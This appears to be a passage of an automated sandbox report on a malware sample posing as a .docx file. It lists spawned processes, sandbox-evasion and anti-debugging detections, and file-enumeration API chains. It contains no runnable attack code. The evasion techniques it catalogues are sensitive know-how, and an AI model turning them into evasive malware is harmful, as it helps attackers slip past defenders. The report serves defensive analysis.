Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\colorcpl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_0299CD74

0_2_0299CD74

Delayed program exit found

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0458F7A7 Sleep,ExitProcess,

31_2_0458F7A7

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_0-32948

Opens the same file many times (likely Sandbox evasion)

Source: C:\Windows\SysWOW64\colorcpl.exe

File opened: \Device\RasAcd count: 191293

Powershell is started from unusual location (likely to bypass HIPS)

Source: c:\users\public\xkn.exe

Key value queried: Powershell behavior

Jump to behavior

Source: C:\Users\Public\xkn.exe	Memory allocated: 1EC81490000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\Public\xkn.exe	Memory allocated: 1EC81490000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

31_2_0459A748

Source: C:\Users\Public\xkn.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\Public\Libraries\drbdmeyP.pif	Window / User API: threadDelayed 389	Jump to behavior
Source: C:\Users\Public\xkn.exe	Window / User API: threadDelayed 2191	Jump to behavior
Source: C:\Users\Public\xkn.exe	Window / User API: threadDelayed 974	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Window / User API: threadDelayed 1561
Source: C:\Windows\SysWOW64\colorcpl.exe	Window / User API: threadDelayed 493
Source: C:\Windows\SysWOW64\colorcpl.exe	Window / User API: threadDelayed 693
Source: C:\Windows\SysWOW64\colorcpl.exe	Window / User API: foregroundWindowGot 1697

Source: C:\Users\Public\alpha.exe	API coverage: 6.3 %
Source: C:\Users\Public\alpha.exe	API coverage: 6.4 %
Source: C:\Users\Public\alpha.exe	API coverage: 8.1 %
Source: C:\Users\Public\alpha.exe	API coverage: 8.3 %
Source: C:\Users\Public\alpha.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\colorcpl.exe	API coverage: 9.9 %

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_0299CD74

0_2_0299CD74

Source: C:\Users\Public\Libraries\drbdmeyP.pif TID: 1312	Thread sleep count: 389 > 30	Jump to behavior
Source: C:\Users\Public\xkn.exe TID: 7316	Thread sleep count: 2191 > 30	Jump to behavior
Source: C:\Users\Public\xkn.exe TID: 7316	Thread sleep count: 974 > 30	Jump to behavior
Source: C:\Users\Public\xkn.exe TID: 7268	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 8036	Thread sleep time: -42500s >= -30000s
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 8040	Thread sleep time: -4683000s >= -30000s
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 8024	Thread sleep time: -493000s >= -30000s
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 8024	Thread sleep time: -258000s >= -30000s
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 8040	Thread sleep time: -2079000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029858B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_029858B4
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	8_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	8_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	8_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	8_2_00007FF64B561560
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	8_2_00007FF64B5635B8
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	10_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	10_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	10_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	10_2_00007FF64B561560
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	10_2_00007FF64B5635B8
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	12_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	12_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	12_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	12_2_00007FF64B561560
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	12_2_00007FF64B5635B8
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	14_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	14_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	14_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	14_2_00007FF64B561560
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	14_2_00007FF64B5635B8
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	17_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	17_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	17_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	17_2_00007FF64B561560
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	17_2_00007FF64B5635B8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_04589665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	31_2_04589665
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_04589253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	31_2_04589253
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0459C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	31_2_0459C291
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	31_2_0458C34D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	31_2_0458BD37
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045CE879 FindFirstFileExA,	31_2_045CE879
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	31_2_0458880C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458783C FindFirstFileW,FindNextFileW,	31_2_0458783C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_04599AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	31_2_04599AF5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	31_2_0458BB30

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_04587C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

31_2_04587C97

Source: C:\Users\Public\xkn.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.tmp	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user\AppData\Local\Temp\D2F6.tmp	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: colorcpl.exe, 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll3
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1333260150.0000000000864000.00000004.00000020.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1333260150.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	API call chain: ExitProcess graph end node			graph_0-32947
Source: C:\Windows\SysWOW64\colorcpl.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_0299D920 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_0299D920

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process queried: DebugFlags	Jump to behavior

Source: C:\Users\Public\alpha.exe

Code function: 8_2_00007FF64B5863FC GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,

8_2_00007FF64B5863FC

Source: C:\Users\Public\ger.exe

Code function: 24_2_00007FF7E0A0A29C memset,SearchPathW,CreateFileW,GetFileSize,ReadFile,SetFilePointer,CharNextW,IsCharAlphaNumericW,StrToIntW,IsCharAlphaNumericW,StrToIntW,CharNextW,GetLastError,OutputDebugStringW,CloseHandle,

24_2_00007FF7E0A0A29C

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_02997CC8 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,

0_2_02997CC8

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029DF3AD mov eax, dword ptr fs:[00000030h]	0_2_029DF3AD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045C32B5 mov eax, dword ptr fs:[00000030h]	31_2_045C32B5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06421082 mov eax, dword ptr fs:[00000030h]	31_2_06421082
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06421082 mov eax, dword ptr fs:[00000030h]	31_2_06421082
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06463F64 mov eax, dword ptr fs:[00000030h]	31_2_06463F64

Source: C:\Users\Public\alpha.exe

Code function: 8_2_00007FF64B56CD90 GetProcessHeap,RtlAllocateHeap,

8_2_00007FF64B56CD90

Source: C:\Users\Public\xkn.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

